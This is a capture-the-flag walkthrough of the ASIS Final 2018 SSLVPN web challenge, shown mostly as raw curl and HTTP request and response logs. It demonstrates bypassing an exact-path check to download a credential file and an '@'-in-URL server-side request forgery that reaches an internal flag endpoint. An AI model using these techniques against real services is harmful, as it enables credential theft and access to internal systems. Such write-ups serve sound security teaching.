NodeJS SSRF by Design Flaw — ASIS Final 2018 — SSLVPN Challenge Walkthrough

Yasho
InfoSec Write-ups
Published in
5 min readNov 26, 2018

--

The participants were given a URL, opening the URL led to a login page. The main idea of the challenge was exploiting an SSRF vulnerability caused by the design flaw.

Conducting a login request resulted in the following response:

root@cloud:~# curl "http://162.243.23.15:8000/login" --data "username=test&password=test" -v
* Trying 162.243.23.15...
* Connected to 162.243.23.15 (162.243.23.15) port 8000 (#0)
> POST /login HTTP/1.1
> Host: 162.243.23.15:8000
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 27
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 27 out of 27 bytes
< HTTP/1.1 302 Found
< X-Powered-By: Express
< X-Content-Type-Options: nosniff
< X-SSLVPN-Request-Id: 9B60:6E97:25ADB08:45E4D17:5AE34BA4
< X-Database-Request-Check: db.json
< X-Frame-Options: deny
< Location: /login
< Vary: Accept
< Content-Type: text/plain; charset=utf-8
< Content-Length: 28
< set-cookie: ssl-vpn.sid=s%3AGCY1h6fKsL-So1VdwnrBprvE6yMJ1Dnu.Fl4jN5funPmlwJissxmxsg0ueNXqxgFBgapV5o5i2Og; Path=/; HttpOnly
< Date: Mon, 26 Nov 2018 09:11:53 GMT
< Connection: keep-alive
<
* Connection #0 to host 162.243.23.15 left intact
Found. Redirecting to /login

As it’s been seen, the X-Database-Request-Check revealed a file, trying to download the database:

root@cloud:~# curl "http://162.243.23.15:8000/db.json" -v
* Trying 162.243.23.15...
* Connected to 162.243.23.15 (162.243.23.15) port 8000 (#0)
> GET /db.json HTTP/1.1
> Host: 162.243.23.15:8000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< set-cookie: ssl-vpn.sid=s%3ApGmZoWtgH-hrMlQ1erZMqalqkz_kfYWn.oucKCZhajGFT2jumpOgKBpN%2BImIoN5nkOz9nFXnb7Xs; Path=/; HttpOnly
< Date: Mon, 26 Nov 2018 09:24:48 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
* Connection #0 to host 162.243.23.15 left intact
Unauthorized: endpint URI cannot be /db.json

Considering the error and the fact which the application is deployed by NodeJS, something like that might be there:

if (request.uri === '/db.json') {
result.end('Unauthorized: endpint URI cannot be /db.json')
} else {

Consequently:

root@cloud:~# curl "http://162.243.23.15:8000/db.json?something" -v
* Trying 162.243.23.15...
* Connected to 162.243.23.15 (162.243.23.15) port 8000 (#0)
> GET /db.json? HTTP/1.1
> Host: 162.243.23.15:8000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< set-cookie: ssl-vpn.sid=s%3A5tgeVNTR7jrpbYY6MqQJ0hYgWkUw4tbq.OBYPK5%2ByT2svgsBK3UqWAQzCSiO%2FzKFwPw2tFKcGDVw; Path=/; HttpOnly
< Date: Mon, 26 Nov 2018 09:28:46 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
{
"credentials": [{
"id": "1",
"display_name": "admin",
"user": "administrator",
"pass": "ce5f2ce89fa4b39778404b3a7a9dc13b"
}, {
"id": "2",
"display_name": "user",
"user": "user1",
"pass": "825a3895b83513dce6997ef03f1597fb"
},{
"id": "3",
"display_name": "David",
"user": "david",
"pass": "195f19b835efe9f0b7b4e276ef1a8515"
}]
* Connection #0 to host 162.243.23.15 left intact
}

Three users revealed, only david’s password was indexed in google: p@ss. Logged-in successfully, there were two menus, the one was working named echo service . The request:

POST /echo_service/test HTTP/1.1
Host: 162.243.23.15:8000
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://162.243.23.15:8000/echo_service
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 35
DNT: 1
Connection: close
Cookie: ssl-vpn.sid=s%3AV36bk4zshY4AqqeaSBYWP8xPDavprlIO.2PokuOB8TKDTxXXKrMuXW5Cfbp%2Bp0k7iLPDInYkwnyg
path=%2Fecho%2F&server=echo2.serverHTTP/1.1 200 OK
X-Powered-By: Express
Date: Sun, 25 Nov 2018 21:14:50 GMT
Connection: close
Content-Length: 2
test

The variables are bolded in the request. Fuzzing on theserver resulted in that it couldn't change, the only acceptable value was echo2.server. The echo service was serving in http://162.243.23.15:8001. We did some fuzzing stuff on the following request:

POST /echo_service/[FUZZ] HTTP/1.1
Host: 162.243.23.15:8000
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://162.243.23.15:8000/echo_service
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 35
DNT: 1
Connection: close
Cookie: ssl-vpn.sid=s%3AV36bk4zshY4AqqeaSBYWP8xPDavprlIO.2PokuOB8TKDTxXXKrMuXW5Cfbp%2Bp0k7iLPDInYkwnyg
path=&server=echo2.serverHTTP/1.1 200 OK
X-Powered-By: Express
Date: Sun, 25 Nov 2018 21:14:50 GMT
Connection: close
Content-Length: 2
test

The result:

  1. The numbers like 123:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 2
ETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"
Date: Mon, 26 Nov 2018 12:45:28 GMT
Connection: close
{}

2. The Characters and some symbols:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 98
ETag: W/"62-nYT+i7lNNe2ZqULvWWulYdzrkc0"
Date: Mon, 26 Nov 2018 12:46:46 GMT
Connection: close
{"errno":"ECONNREFUSED","code":"ECONNREFUSED","syscall":"connect","address":"127.0.0.1","port":80}

3. The payloads which contained at-sign symbol (a good list can be found here):

POST /echo_service/@127.2.2.2:80 HTTP/1.1
Host: 162.243.23.15:8000
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://162.243.23.15:8000/echo_service
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 25
DNT: 1
Connection: close
Cookie: ssl-vpn.sid=s%3AVTX_48iVuQZIAcc-NEd-B5atdaP46tDF.dGNqdNqW99wz1GO5lmn7wFgflCKpz8ApAfaFoP3A8jc
path=&server=echo2.serverHTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 98
ETag: W/"62-yz7b2xcC3rXy4a49tqedeg+viXk"
Date: Mon, 26 Nov 2018 12:52:05 GMT
Connection: close
{"errno":"ECONNREFUSED","code":"ECONNREFUSED","syscall":"connect","address":"127.2.2.2","port":80}

Wait a minute, the host has been changed! As a consequence, the server-side logic was something like the picture below

Considering the following HTML hint:

<!--p Warning: some menues may be filtered (not shown) due to your IP address.-->

Besides the fact that I could control the host:

http://162.243.23.15[The Input]

So the appropriate payload was @127.0.0.1:8000 :

http://162.243.23.15@127.0.0.1:8000/

The result:

<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="description" content=""><meta name="author" content=""><title>BOOGY SSL-VPN Portal</title><link href="/stylesheets/style.css" rel="stylesheet"><script src="/js/jquery-3.3.1.min.js"></script><script src="/js/site.js"></script></head><body><div class="modal"></div><ul><li><a href="/">Home</a></li><li><a href="/login">Login</a></li><li><a href="/get_flag">Flag</a></li></ul><div class="wrapper"><h2>BOOGY SSL VPN Portal</h2><br><p>Welcome to VPN portal. The portal provides internal services through web.</p>

The final payload:

POST /echo_service/@127.2.2.2:8000%2fget_flag HTTP/1.1
Host: 162.243.23.15:8000
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://162.243.23.15:8000/echo_service
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 25
DNT: 1
Connection: close
Cookie: ssl-vpn.sid=s%3AVTX_48iVuQZIAcc-NEd-B5atdaP46tDF.dGNqdNqW99wz1GO5lmn7wFgflCKpz8ApAfaFoP3A8jc
path=&server=echo2.server

The response:

HTTP/1.1 200 OK
X-Powered-By: Express
Date: Mon, 26 Nov 2018 12:58:33 GMT
Connection: close
Content-Length: 38
ASIS{97016c66cd3bddc7624622336ffeeae8}

--

--